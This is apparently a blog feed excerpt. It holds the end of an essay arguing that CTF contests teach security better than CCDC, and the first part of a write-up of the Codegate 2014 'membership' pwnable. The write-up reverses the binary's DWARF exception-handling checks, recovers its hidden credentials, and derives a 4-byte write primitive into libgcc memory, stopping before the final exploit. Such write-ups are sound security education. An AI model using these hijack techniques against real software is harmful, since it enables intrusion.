&lt;p&gt;Yes, not all of these options are feasible in the real world in every scenario: they may be expensive, or constrained by some other resources. But what is the lesson here? If you are put in a real world situation, do all these solutions become blocked just like in a competition? Of course not! You need to evaluate the merits and consequences of each one and decide for yourself. In most defense competitions, these decisions are made for you, and that limits your abilities to think out of the box. In many cases teams that succeed at CCDC do so because they manage to get as out of the box as possible. This ends up meaning they “game the game” rather than make good security practices. For example, maybe you aren’t allowed to delete users on a system, because in the real world that would restrict the abilities of legitimate users to access the system. Fine, change all their passwords to a 100 character hex string. The real world value of this isn’t any better, but it is more acceptable to do in CCDC.&lt;/p&gt;

&lt;p&gt;In a Capture the Flag contest, just about anything goes. Over the years I’ve seen crazy hacks to get things working and working quickly: dumping memory by patching in a jump to MessageBox, reverse image searching to find plausible ECC bits for broken QR codes, forcing a core dump and using a file carver to extract files from obfuscated programs… The type of thinking and problem solving promoted by CTFs is fundamental to what it means to be a security researcher.&lt;/p&gt;

&lt;h2 id=&quot;feedback&quot;&gt;Feedback&lt;/h2&gt;

&lt;p&gt;When reading through &lt;a href=&quot;http://www.reddit.com/r/netsec/comments/21vj6l/ccdc_and_ctfs_addressing_the_criticisms/&quot;&gt;some comments&lt;/a&gt; about the CCDC post, I came across someone complaining about the lack of transparency in CCDC. Although this may not be a universally held opinion, it doesn’t apply to Capture the Flag events. Let’s look closely at the procedure for earning points in both:&lt;/p&gt;

&lt;p&gt;==========&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring system in CTF&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Solve problem&lt;/li&gt;
  &lt;li&gt;Submit answer to score server&lt;/li&gt;
  &lt;li&gt;Observe scoreboard adding points (or not)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==========&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoring system in CCDC&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Maintain service uptime and fend off the Red Team&lt;/li&gt;
  &lt;li&gt;Complete “injects” (business tasks)&lt;/li&gt;
  &lt;li&gt;Write reports documenting injects and attacks&lt;/li&gt;
  &lt;li&gt;Submit reports to organizers to get points,reduce deductions&lt;/li&gt;
  &lt;li&gt;Wait until end of competition to see final standings&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==========&lt;/p&gt;

&lt;p&gt;Okay, so why is this important? First, scoring in a CTF is objective — there are no reports to be read and graded, and instant feedback to verify the system works correctly. What this means is CTF problem solving can be an iterative process: attempt a solution in a particular way, see the results, and modify your behavior accordingly. If you read about the &lt;a href=&quot;http://www.reading.ac.uk/web/FILES/EngageinFeedback/Race_using_feedback_to_help_students_learn.pdf&quot;&gt;importance of feedback in learning&lt;/a&gt;, you’ll notice a few things CTFs do right: feedback is immediate, feedback is individual (both on a problem and team basis), and feedback isn’t final (if you get a flag wrong, try, try again).&lt;/p&gt;

&lt;p&gt;Let’s contrast this with a defense competition. Feedback is not immediate at all: sometimes a team standing is updated daily, and sometimes not until the end of the competition! Feedback is not granular: your team might get a final score at the end of the competition, but it’s not clear where your points came from. Even if points are broken down by advisories, SLA, and so forth, it’s not clear which actions are being re-enforced. Finally, feedback isn’t iterative. Although you may be able to fill out a form to request a regrade on a report, you can’t just submit a bunch of reports and use the best one.&lt;/p&gt;

&lt;p&gt;One might argue: the real world doesn’t provide immediate feedback, isn’t objective, and isn’t always fair, so defense competitions are a better approximation of real scenarios! There is a lot of truth to this: CTFs aren’t depicting day-to-day scenarios of system administrators or work in a security operations center. But you know what? That’s kind of the whole point, and what makes CTFs fun.&lt;/p&gt;

&lt;h2 id=&quot;fun&quot;&gt;Fun&lt;/h2&gt;

&lt;p&gt;I’ll admit outright, “fun” is clearly not universal. I know people out there thinks blocking exploits is far more fun than throwing them, but let’s be honest, this isn’t a popular opinion. Heck, even the &lt;a href=&quot;http://www.nationalccdc.org/blog/do-you-want-to-be-the-1st-red-team-intern/&quot;&gt;NCCDC website&lt;/a&gt; talks about how much cooler the Red Team is than the contestants. Again, “well the real world isn’t always fun”. Fine. But if your goal is to encourage people to learn and try new things, is the best way to do it really to throw them into the middle of a hostile network, or would it be better to give them fun tasks that guide them through the learning process?&lt;/p&gt;

&lt;p&gt;Jeopardy style CTFs are a lot of fun. They’re relaxing, you sit down and solve problems. Does this emulate high stress-real world scenarios in hostile networks? No, but that’s not a fun learning environment. DefconCTF is not a place for beginners. I am not sure how someone could argue that a teaching method that is less fun could ever be superior.&lt;/p&gt;

&lt;p&gt;Of course, not all people like breaking things. That’s &lt;em&gt;fine&lt;/em&gt;. Capture the Flags aren’t always about binary exploitation. There are plenty of forensics, programming, cryptography, and other skills that involve building things. The only skills that CCDC has which I have not seen in a CTF are writing reports and running updates. Looking for backdoors and malicious software, finding intrusions in log files, changing default settings and modifying web applications are all things that have shown up in CTFs (though I admit those aren’t the kind of tasks that I enjoy).&lt;/p&gt;

&lt;h2 id=&quot;the-1&quot;&gt;The “1%”&lt;/h2&gt;

&lt;p&gt;One of the points that struck me on the blog post regarding CCDC was the idea of appealing to the “1%”. Restated simply, the claim is that CCDC makes use of skills that 99% of security workers will use while CTFs really only teach 1% of relevant skills. The numbers aren’t really important here, but the sentiment is. Skills like writing reports, reviewing log files, and running updates are the sort of skills most “security workers” will use. &lt;em&gt;Blech&lt;/em&gt;. What is that really saying? To get a job as a security worker I don’t need to understand ASLR bypass techniques, NTFS alternate data streams, or CBC Padding Oracle attacks? Yes, that is probably true! That writing a report is &lt;em&gt;more valuable&lt;/em&gt; than understanding modern offensive security? Perhaps! But personally, I think that if CCDC claimed the reason it is a superior platform to CTFs is because it involves writing more reports and running Windows update, people would start losing interest. Why not just participate in a technical writing contest? Do we really need a contest which stresses the most mundane aspects of security?&lt;/p&gt;

&lt;p&gt;It is probably worth mentioning that some CTFs also require contestants write up solutions. In one instance of RuCTF (&lt;a href=&quot;http://ructf.org/e/2009/rules.html&quot;&gt;2009&lt;/a&gt;), players could receive points for patches or writeups of vulnerabilities. Many CTFs with prizes or final rounds also require a writeup be submitted from teams that place. &lt;a href=&quot;http://communaute.sstic.org/ChallengeSSTIC2013&quot;&gt;Some&lt;/a&gt; &lt;a href=&quot;http://ctf.notsosecure.com/&quot;&gt;competitions&lt;/a&gt; also give separate prizes for highest points/first to complete challenges, and best writeup. Still, I think it is fair to say that writing reports is stressed much more in CCDC than CTF events, for better or for worse.&lt;/p&gt;

&lt;p&gt;The fact of the matter is that students wanting to learn &lt;em&gt;security&lt;/em&gt; are told they should participate in competitions like CCDC. And sure, security is heavily involved in these competitions, but not at the same level as in CTFs. If someone wants to learn about security, I think it’s pretty clear a CTF is a better avenue than a defensive contest. This is important to me because I often come across people who want to get jobs in security and so they play in CCDC. Although I think it’s wonderful for them to take that initiative, I can’t help but feel that their time would be much better spent playing a CTF.&lt;/p&gt;

&lt;p&gt;One thing I have heard oft repeated which I whole-heartedly agree with is that in defense, you are always playing catch up. Unless you think as an attacker, you can only react to known vulnerabilities, and so you are always a step behind. The CCDC approach seems to be to focus on defense, and to succeed you will probably learn something about attacks; the CTF approach is that you should focus on attacks, as the defense comes naturally afterwards. I would posit that the top CTF players would be better suited to defending a network against advanced attackers than the top CCDC players for precisely this reason.&lt;/p&gt;

&lt;p&gt;Aside from all this, I think everyone would be much safer if security professionals knew more about the 1% that they so rarely see. Maybe if the person reading the IDS logs knew more about writing polymorphic shellcode than what is in Metasploit, they’d be better prepared to prevent threats more advanced than someone using Shikata ga nai.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Both CCDC and CTFs address different goals. As far as I can tell, CCDC’s goal is to assess how well someone can administrate and document systems, while CTFs focus on teaching security. Both of these have their place. But telling fledgling security professionals the better way to learn is through CCDC seems dishonest, and forces them into a niche they might not enjoy. Although the skills taught in CTFs are not always used day-to-day, they cover a far broader range of security topics that are relevant to anyone working in the security field. As someone who tries to promote the value of CTFs, it’s important to me that those interested in security education recognize that CTFs are an incredibly powerful and should be encouraged where possible.&lt;/p&gt;

&lt;p&gt;-tylerni7&lt;/p&gt;

</description>
        <pubDate>Tue, 01 Apr 2014 00:00:00 +0000</pubDate>
        <link>https://pwning.net/2014/04/01/why-ctf/</link>
        <guid isPermaLink="true">https://pwning.net/2014/04/01/why-ctf/</guid>
      </item>
    
      <item>
        <title>membership</title>
        <description>&lt;p&gt;This is a write-up for 800 point pwnable challenge called “membership” from Codegate CTF 2014 Pre-qual round. PPP was the only solver for this challenge during the competition, so I have decided to do a write-up for the challenge. Enjoy.  (awesie and ricky solved it during the competition.)&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;&lt;em&gt;If you have any trouble with poor formatting here, you can read the original post at &lt;a href=&quot;https://www.bpak.org/blog/2014/02/codegate-2014-membership-800pt-pwnable-write-up&quot; target=&quot;_blank&quot;&gt;this blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;challenge-overview&quot;&gt;Challenge overview&lt;/h2&gt;

&lt;p&gt;You can download the copy of the binary &lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.
During the competition, we could ssh into one of their machines to exploit and read the flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership_1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;$ file membership
membership: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0c19bb6578cf047d8f3150628d1d82d4a205ea1d, stripped
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, it’s a 32-bit ELF binary. So, let’s open it up in IDA and start reversing.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership_3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The program looks really simple. It just installs a couple signal handlers (specifically for SIGSEGV and SIGFPE) and calls a main (interesting) function, where it prompts us for the &lt;em&gt;userid&lt;/em&gt; and &lt;em&gt;password&lt;/em&gt;. Then, the program calculates SHA256 hash of the given password and compares with the stored hash. If the password hashes do not match, a runtime error exception is thrown and the program is aborted. If we pass in the correct password, we get a shell :)&lt;/p&gt;

&lt;p&gt;Since guessing the correct password or cracking the hash is not viable option for us, we try to locate some other bugs that can be useful.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;{
  int v0; // ebx@4
  char v2; // [sp+18h] [bp-10h]@4
  char v3; // [sp+1Fh] [bp-9h]@4

  memset(&amp;amp;unk_804B120, 0, 0xB0u);
  write(1, &quot;userid :: &quot;, 0xAu);
  fgets(userid_buf, 16, stdin);
  write(1, &quot;password :: &quot;, 0xCu);
  fgets(password_buf, 16, stdin);
  SHA256_Init(&amp;amp;unk_804B120);
  SHA256_Update(&amp;amp;unk_804B120, password_buf, 15);
  SHA256_Final((int)my_pw_hash, (int)&amp;amp;unk_804B120);
  if ( strlen(password_buf) &amp;amp;gt;= 0xF )
    ::v0 = 0;
    // mov eax, 0
    // mov dword ptr [eax], 0

  if ( memcmp(my_pw_hash, pw_hash, 0x21u) )
  {
    v0 = __cxa_allocate_exception(8);
    std::allocator&amp;amp;lt;char&amp;amp;gt;::allocator(&amp;amp;v3);
    std::string::string(&amp;amp;v2, &quot;access denied&quot;, &amp;amp;v3);
    std::runtime_error::runtime_error(v0, &amp;amp;v2);
    std::string::~string(&amp;amp;v2);
    std::allocator&amp;amp;lt;char&amp;amp;gt;::~allocator(&amp;amp;v3);
    __cxa_throw(v0, &amp;amp;`typeinfo for'std::runtime_error, (const char *)&amp;amp;std::runtime_error::~runtime_error);
  }
  return execlp(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, 0);
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As highlighted above, the program dereferences a null pointer (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*0 = 0&lt;/code&gt;) if the length of the password is greater than or equal to 16 bytes. Obviously it is going to trigger SIGSEGV, but do you remember what we said earlier about installing the signal handlers? And yes, one of them was SIGSEGV handler.&lt;/p&gt;

&lt;p&gt;So, instead of crashing it miserably, the handler will be called.
Let’s examine what this handler does.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership_4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, if we look at the SIGSEGV_handler, we may think it doesn’t really do anything useful.
Note that it just fills up exception information and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cxa_throw&lt;/code&gt; to throw exception.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;void __noreturn SIGSEGV_handler()
{
  int v0; // ebx@1
  char v1; // [sp+18h] [bp-10h]@1
  char v2; // [sp+1Fh] [bp-9h]@1

  v0 = __cxa_allocate_exception(8);
  std::allocator&amp;amp;lt;char&amp;amp;gt;::allocator(&amp;amp;v2);
  std::string::string(&amp;amp;v1, &quot;Segmentation fault&quot;, &amp;amp;v2);
  std::runtime_error::runtime_error(v0, &amp;amp;v1);
  std::string::~string(&amp;amp;v1);
  std::allocator&amp;amp;lt;char&amp;amp;gt;::~allocator(&amp;amp;v2);
  __cxa_throw(v0, &amp;amp;`typeinfo for'std::runtime_error, (const char *)&amp;amp;std::runtime_error::~runtime_error);
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, we could go on and explain what SIGFPE_handler does as well, but we’ll skip it since it’s not that interesting and is not needed for a successful exploitation.
You may ask — so, what’s left?&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;Notice that this is a C++ program with exception throwing. We should check how C++ exception handling works.&lt;/p&gt;

&lt;p&gt;It uses a thing called, &lt;a href=&quot;http://en.wikipedia.org/wiki/DWARF&quot;&gt;DWARF&lt;/a&gt;, which is a standardized debugging data format for unwinding the stack and handling exceptions.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;There was a CTF problem in the past that involved DWARF (called Khazad from Ghost in the Shellcode 2012): Check out these write-ups if you are interested!&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://blog.oxff.net/#k6jx7ewsq2bbid6giflq&quot;&gt;oxff’s write-up&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://eindbazen.net/2012/01/gits-2012-finals-khazad-pwn600&quot;&gt;Eindbazen’s write-up&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Anyways, you can find DWARF information can be displayed by using binutils such as &lt;em&gt;objdump&lt;/em&gt; or &lt;em&gt;readelf&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;$ readelf -w membership
Contents of the .eh_frame section:

00000000 00000014 00000000 CIE
  Version:               1
  Augmentation:          &quot;zR&quot;
  Code alignment factor: 1
  Data alignment factor: -4
  Return address column: 8
  Augmentation data:     1b

  DW_CFA_def_cfa: r4 (esp) ofs 4
  DW_CFA_offset: r8 (eip) at cfa-4
  DW_CFA_nop
  DW_CFA_nop

...
(omitted)
...

0000010c 00000070 000000f8 FDE cie=00000018 pc=08048fa7..0804904d
  Augmentation data:     0c 98 04 08

  DW_CFA_advance_loc: 1 to 08048fa8
  DW_CFA_def_cfa_offset: 8
  DW_CFA_offset: r5 (ebp) at cfa-8
  DW_CFA_advance_loc: 2 to 08048faa
  DW_CFA_def_cfa_register: r5 (ebp)
  DW_CFA_advance_loc: 5 to 08048faf
  DW_CFA_offset: r6 (esi) at cfa-12
  DW_CFA_offset: r3 (ebx) at cfa-16
  DW_CFA_val_expression: r8 (eip) (DW_OP_addr: 804b1b0; DW_OP_deref; DW_OP_const4u: 50598931; DW_OP_const4u: 1616928864; DW_OP_plus; DW_OP_ne; DW_OP_bra: 50; DW_OP_addr: 804b1b4; DW_OP_deref; DW_OP_const4u: 84480008; DW_OP_const4u: 1616928864; DW_OP_plus; DW_OP_ne; DW_OP_bra: 29; DW_OP_addr: 804b1c1; DW_OP_deref; DW_OP_const4u: 8; DW_OP_shr; DW_OP_const4u: 4206257; DW_OP_ne; DW_OP_bra: 8; DW_OP_addr: 8048cbc; DW_OP_skip: 5; DW_OP_addr: 8048f18)
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

...
(omitted)
...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take a close look at the entry with “pc=08048fa7..0804904d”.
This entry basically describes what should happen when the exception is thrown between that PC range. Note that the SIGSEGV_handler throws an exception at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0804901A&lt;/code&gt; , which is in that range (that range is precisely  SIGSEGV_handler function).&lt;/p&gt;

&lt;p&gt;Ok. Now, we have to make sense of what all those operations mean :)
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DW_CFA_val_expression&lt;/code&gt; contains CFA expressions that are defined &lt;a href=&quot;http://www.dwarfstd.org/doc/040408.1.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Luckily, it’s not that hard to understand the expressions. We can simply think of it as a stack machine:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;DW_OP_addr: 804b1b0         // push 0x804b1b0 (this is userid_buf)
DW_OP_deref                 // dereference in-place
DW_OP_const4u: 50598931     // push 50598931
DW_OP_const4u: 1616928864   // push 1616928864
DW_OP_plus                  // add =&amp;amp;gt; hex(50598931 + 1616928864)[2:].decode('hex') =&amp;amp;gt; 'cdts'
DW_OP_ne                    // compare not equal
DW_OP_bra: 50               // branch to END
DW_OP_addr: 804b1b4         // push 0x804b1b4 (this is userid_buf+4)
DW_OP_deref                 // dreference in-place
DW_OP_const4u: 84480008     // push 84480008
DW_OP_const4u: 1616928864   // push 1616928864
DW_OP_plus                  // add =&amp;amp;gt; hex(8448008 + 1616928864)[2:].decode('hex') ==&amp;amp;gt; 'eiph'
DW_OP_ne                    // compare not equal
DW_OP_bra: 29               // branch to END
DW_OP_addr: 804b1c1         // push 0x804b1c1 (this is password_buf+1)
DW_OP_deref                 // dereference in-place
DW_OP_const4u: 8            // push 8
DW_OP_shr                   // shift right (*0x804b1c1 by 8)
DW_OP_const4u: 4206257      // push 4206257 =&amp;amp;gt; 0x402eb1
DW_OP_ne                    // compare not equal
DW_OP_bra: 8                // branch to END
DW_OP_addr: 8048cbc         // push 0x8048cbc
DW_OP_skip: 5               // skip 5
DW_OP_addr: 8048f18         // push 0x8048f18  (this is END)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, in short, it checks if the username is &lt;strong&gt;“stdchpie”&lt;/strong&gt; and the &lt;strong&gt;password[2:5]&lt;/strong&gt; is equal to &lt;strong&gt;“\xb1\x2e\x40”&lt;/strong&gt;.
If any of the condition fails, it transfers execution to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8048f18&lt;/code&gt;, which does &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit(0)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What happens if we satisfy the conditions? Good question.
It basically dumps us to the following code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;.text:08048CE8                 mov     [esp], eax
.text:08048CEB                 call    ___cxa_begin_catch
.text:08048CF0                 mov     dword ptr [esp], offset aNested ; &quot;nested&quot;
.text:08048CF7                 call    _puts
.text:08048CFC                 mov     eax, (offset password_buf+1)
.text:08048D01                 mov     eax, [eax]
.text:08048D03                 mov     edx, (offset password_buf+1)
.text:08048D08                 mov     edx, [edx+4]
.text:08048D0B                 mov     [eax], edx
.text:08048D0D                 call    ___cxa_end_catch
.text:08048D12                 jmp     short loc_8048CC0
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code prints out “nested” string and writes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password[5:9]&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*password[1:5]&lt;/code&gt;. Meaning, we get to write anything in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402eb1??&lt;/code&gt; address space with any 4 byte value we choose. 4-byte write is pretty strong tool in exploitation, but when we are limited to 256 byte range, it’s difficult to make it useful. Also, it immediately jumps to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8048cc0&lt;/code&gt; , where it does another null pointer dereference causing SIGSEGV to happen — thus, we get infinite “nested” string printed out.&lt;/p&gt;

&lt;p&gt;Alright. Let’s summarize what we know and have so far.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;We can trigger a null pointer dereference, causing SIGSEGV handler to get executed (and thus, DWARF CFA expressions), by sending a password that’s &amp;gt;= 16 bytes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;With carefully constructed password, we can overwrite any 4-byte value to any address in between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402eb100&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402eb1ff&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The natural question is, then, &lt;strong&gt;what is mapped on that memory address?&lt;/strong&gt;
With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ulimit -s unlimited&lt;/code&gt;,&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(gdb) info proc map
process 6207
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804a000     0x2000        0x0 /tmp/.ppp/membership
         0x804a000  0x804b000     0x1000     0x1000 /tmp/.ppp/membership
         0x804b000  0x804c000     0x1000     0x2000 /tmp/.ppp/membership
        0x40000000 0x40020000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.17.so

... (omitted) ...

        0x402cf000 0x402ea000    0x1b000        0x0 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402ea000 0x402eb000     0x1000    0x1a000 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402eb000 0x402ec000     0x1000    0x1b000 /lib/i386-linux-gnu/libgcc_s.so.1
        0x402ec000 0x4049a000   0x1ae000        0x0 /lib/i386-linux-gnu/libc-2.17.so
        0x4049a000 0x4049c000     0x2000   0x1ae000 /lib/i386-linux-gnu/libc-2.17.so
        0x4049c000 0x4049d000     0x1000   0x1b0000 /lib/i386-linux-gnu/libc-2.17.so
        0x4049d000 0x404a0000     0x3000        0x0
        0x404a0000 0x404a3000     0x3000        0x0 /lib/i386-linux-gnu/libdl-2.17.so

... (omitted) ...

        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see above (highlighted), the address range falls into &lt;strong&gt;libgcc&lt;/strong&gt;’s memory — specifically, it matched portion of its &lt;strong&gt;.bss&lt;/strong&gt; section.&lt;/p&gt;

&lt;p&gt;So, what is there in libgcc_s.so.1, you ask.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership_5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Precisely, this.&lt;/p&gt;

&lt;p&gt;And that’s it.&lt;/p&gt;

&lt;p&gt;At this point, we downloaded and opened up libgcc source code to look at where some of these data structures are used, and tried to look for ways to get an EIP control.&lt;/p&gt;

&lt;p&gt;So the journey begins.&lt;/p&gt;

&lt;h2 id=&quot;libgcc-source-code-analysis&quot;&gt;libgcc source code analysis&lt;/h2&gt;

&lt;p&gt;Note that this step took the longest since we had to actually understand part of the gcc code when it does stack unwinding and handling the exception.&lt;/p&gt;

&lt;p&gt;You can download the source for gcc &lt;a href=&quot;http://archive.ubuntu.com/ubuntu/pool/main/g/gcc-4.8/gcc-4.8_4.8.1.orig.tar.gz&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt; (gcc-4.8.1, Ubuntu 13.01).&lt;/p&gt;

&lt;p&gt;During the competition, we chose each data structure of interest and traced backwards to find out whether by controlling said structure we can influence anything (e.g. function pointer) on callers while handling exceptions to hijack the control flow.&lt;/p&gt;

&lt;p&gt;Since we now know which one can be used to control EIP, we will start from there: &lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; is our target. [It is very well be possible to solve the challenge with different method/structure, but this is the one that we ended up using during the CTF.]&lt;/p&gt;

&lt;p&gt;If we locate the place that &lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; is referenced, we land in the middle of &lt;strong&gt;_Unwind_IteratePhdrCallback&lt;/strong&gt; function in &lt;em&gt;libgcc/unwind-dw2-fde.dip.c&lt;/em&gt;.&lt;/p&gt;

